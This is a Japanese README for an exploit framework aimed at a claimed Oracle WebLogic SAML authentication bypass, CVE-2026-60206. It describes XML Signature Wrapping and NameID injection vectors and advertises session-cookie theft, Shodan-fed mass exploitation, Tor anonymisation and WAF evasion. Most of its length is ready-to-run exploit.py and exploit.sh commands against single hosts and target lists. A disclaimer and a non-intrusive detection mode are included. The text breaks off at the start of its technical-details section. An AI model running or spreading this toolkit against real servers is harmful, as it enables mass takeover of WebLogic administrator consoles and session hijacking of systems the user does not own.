CVE-2026-60206 - Oracle WebLogic SAML 認証バイパス エクスプロイトフレームワーク・ツールキット

Oracle WebLogic Server — SAML 認証バイパス → 管理者権限奪取

エクスプロイトフレームワーク & マススキャナー
許可されたセキュリティテスト専用。

---

法的免責事項 & 責任ある使用

このツールは、教育および許可されたペネトレーションテストの目的でのみ提供されています。

作者および貢献者は、このソフトウェアの誤用や損害について一切の責任を負いません。テストを実施する前に、対象の所有者から明示的な書面による許可を得ることは、ユーザー自身の責任です。コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act (CFAA) および世界中の同様の法律の下で違法です。

このソフトウェアを使用することにより、以下に同意したものとみなされます:

• 自身が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用すること。
• 適用されるすべての地方、州、および連邦法を遵守すること。
• 悪意のある、破壊的な、または違法な活動に使用しないこと。

[!] 警告: この脆弱性は実際の攻撃で活発に悪用されています。不正な使用は深刻な法的結果を招く可能性があります。

---

[+!] 脆弱性の概要

CVE-2026-60206 は、Oracle WebLogic Server の SAML (Security Assertion Markup Language) 実装における重大な未認証の認証バイパス脆弱性です。これにより、リモートの攻撃者が SAML 認証をバイパスし、有効な認証情報なしで WebLogic コンソールへの管理者アクセスを取得できます。

仕組み:

1. SAML インジェクション: この脆弱性は、SAML アサーションの不適切な検証に起因します。攻撃者は認証チェックをバイパスする悪意のある SAML レスポンスを作成できます。

2. 署名バイパス: この脆弱性により、XML Signature Wrapping (XSW) 攻撃を通じて XML 署名検証をバイパスできます。攻撃者は悪意のあるアサーションを正規の署名でラップします。

3. NameID 操作: 攻撃者はコメントを挿入したり、NameID フィールドを操作したりして、特権ユーザーになりすますことができます。

4. 管理者アクセス: エクスプロイトに成功すると、攻撃者は WebLogic Server コンソールへの管理者アクセスを取得し、完全な制御を得ます。

主な事実:

属性	値
[>] 発見日	2026年7月 (Oracle CPU)
[>] CVSS スコア	9.9 (CRITICAL)
[>] CISA KEV	2026年7月21日に追加
[>] 影響を受ける製品	Oracle WebLogic Server (Fusion Middleware)
[>] 修正バージョン	Oracle CPU 2026年7月
[>] 認証	不要 (Pre-Auth)
[>] 活発な悪用	実際の攻撃で確認済み (2026年7月)

---

[<>] エクスプロイトフレームワーク

完全な教育用マルチエクスプロイトは、複数の SAML 攻撃ベクトルを連鎖させて認証バイパスを実現し、マススキャン、Cookie、および管理者アクセスのための高度な機能を備えています。

機能

機能	説明
[+] マルチベクターエクスプロイト	7つの攻撃ベクター: unsigned、xsw_v1-4、nameid、combo
[+] マススキャン	スレッドプール(Python)/FIFO(Bash)による並行スキャン
[+] Cookie窃取	セッションハイジャック用にJSESSIONIDを窃取
[+] 管理コンソールアクセス	WebLogicコンソールへの完全な管理者アクセス
[+] バージョン検出	WebLogicのバージョンと脆弱性ステータスを検出
[+] バッチスキャン	スレッディングによる複数ターゲットの一括エクスプロイト
[+] 安全な検出	非侵入型の脆弱性検証用のオプション--detectフラグ
[+] Shodan連携	Shodan検索からターゲットを直接読み込み
[+] Torサポート	Torプロキシによるスキャンの匿名化
[+] 複数の出力形式	JSON、CSV、JSONLストリーミング出力
[+] クロスプラットフォーム	Linux、macOS、BSD、Alpine、WSLをサポート
[+] スレッドセーフ	並行操作にロック機構を使用
[+] 自動セッション保存	成功したCookieを後で使用するために保存
[+] WAFバイパス	User-Agentのローテーションとランダム遅延

攻撃ベクター

ベクター	説明
unsigned	署名なしの未認証SAMLアサーション
xsw_v1	XML署名ラッピング - 複数アサーション
xsw_v2	XSW - エンベロープ署名バイパス
xsw_v3	XSW - 名前空間操作
xsw_v4	XSW - 複数アサーションインジェクション
nameid	NameIDコメントインジェクション
combo	複合攻撃(unsigned + XSW + NameID)

---

安全な検証ツール (--detect)

安全な検証ツールは、有害なペイロードを実行したりシステムに変更を加えたりすることなく、非侵入型の脆弱性検出を実行します。

機能

機能	説明
[+] WebLogic検出	LoginForm.jspを介してWebLogicインスタンスを識別
[+] バージョン検出	特定のWebLogicバージョンとパッチレベルを検出
[+] SAMLエンドポイント検出	SAML ACSエンドポイントをテスト
[+] 非侵入型	脆弱なバージョンの識別のみを実行
[+] JSON/CSV出力	レポート用に結果をエクスポート
[+] マススキャン	スレッディングサポートによる複数ターゲットのスキャン

---

インストールと要件

前提条件

• Python 3.6+ または Bash 3.2+
• curl (Bash版用)
• pip (requestsライブラリ用、Python版)

依存関係のインストール

# Python version
pip install requests urllib3

# Optional: Shodan support
pip install shodan

# Bash version: curl only (no additional dependencies)

[!NOTE] Bash 版は curl のみで動作し、外部依存関係はありません。Python 版は requests と urllib3 が必要です（オプション: Shodan 連携には shodan）。

---

使用例

[1] Python エクスプロイトフレームワーク (exploit.py)

# Single target exploit (combo mode)
python exploit.py -u https://192.168.1.100:7002 --exploit --user admin

# Exploit with all attack vectors
python exploit.py -u https://192.168.1.100:7002 --mode all --exploit -v

# Mass scanning from file (50 threads)
python exploit.py -l targets.txt --exploit -t 50 -o results.json

# Safe detection only (non-intrusive)
python exploit.py -l targets.txt --detect -o scan_results.csv

# Shodan integration
export SHODAN_API_KEY="your_api_key"
python exploit.py --shodan --shodan-query "WebLogic Server port:7002" --exploit

# Tor anonymized scanning
python exploit.py -l targets.txt --exploit --tor -t 20

# Proxy support
python exploit.py -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# Streaming JSONL output (memory efficient for large scans)
python exploit.py -l targets.txt --exploit -o results.jsonl

# Quiet mode (minimal output)
python exploit.py -l targets.txt --exploit -q -o results.json

# Custom timeout and retry
python exploit.py -u https://192.168.1.100:7002 --exploit --timeout 20 --retry 5 --delay 2.0

# SSL verification bypass
python exploit.py -u https://192.168.1.100:7002 --exploit --no-verify

# Verbose debugging
python exploit.py -u https://192.168.1.100:7002 --exploit -v

[2] Bash Exploit Framework (exploit.sh)

# Single target exploit
./exploit.sh -u https://192.168.1.100:7002 --exploit --user admin

# Mass scanning
./exploit.sh -l targets.txt --mode all --exploit -o results.json

# Tor anonymized scanning
./exploit.sh -l targets.txt --exploit --tor -t 20

# Shodan integration
export SHODAN_API_KEY="your_api_key"
./exploit.sh --shodan --exploit -o shodan_results.json

# Streaming JSONL output
./exploit.sh -l targets.txt --exploit -o results.jsonl

# Proxy support
./exploit.sh -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# SSL verification bypass
./exploit.sh -u https://192.168.1.100:7002 --exploit --no-verify

# Quiet mode
./exploit.sh -l targets.txt --exploit -q -o results.json

# Verbose debugging
./exploit.sh -u https://192.168.1.100:7002 --exploit -v

[3] 基本バリデータ (verifier_poc.sh)

# Single target validation
./verifier_poc.sh -u https://192.168.1.100:7002 --user admin

# Mass validation with report
./verifier_poc.sh -l targets.txt --user admin -o report.txt

# SSL verification bypass
./verifier_poc.sh -u https://192.168.1.100:7002 --no-verify

# Proxy support
./verifier_poc.sh -u https://192.168.1.100:7002 --proxy http://127.0.0.1:8080

影響を受けるバージョン

Oracle WebLogic バージョン	ステータス
12.2.1.4.0	! 脆弱
14.1.1.0.0	! 脆弱
14.1.2.0.0	! 脆弱
15.1.1.0.0	! 脆弱
その他のバージョン	Oracle CPU July 2026 を確認

重要: この脆弱性はセルフホスト型の WebLogic Server デプロイメントに影響します。Oracle CPU July 2026 を直ちに適用してください。

---

技術的詳細

1. SAML 認証バイパス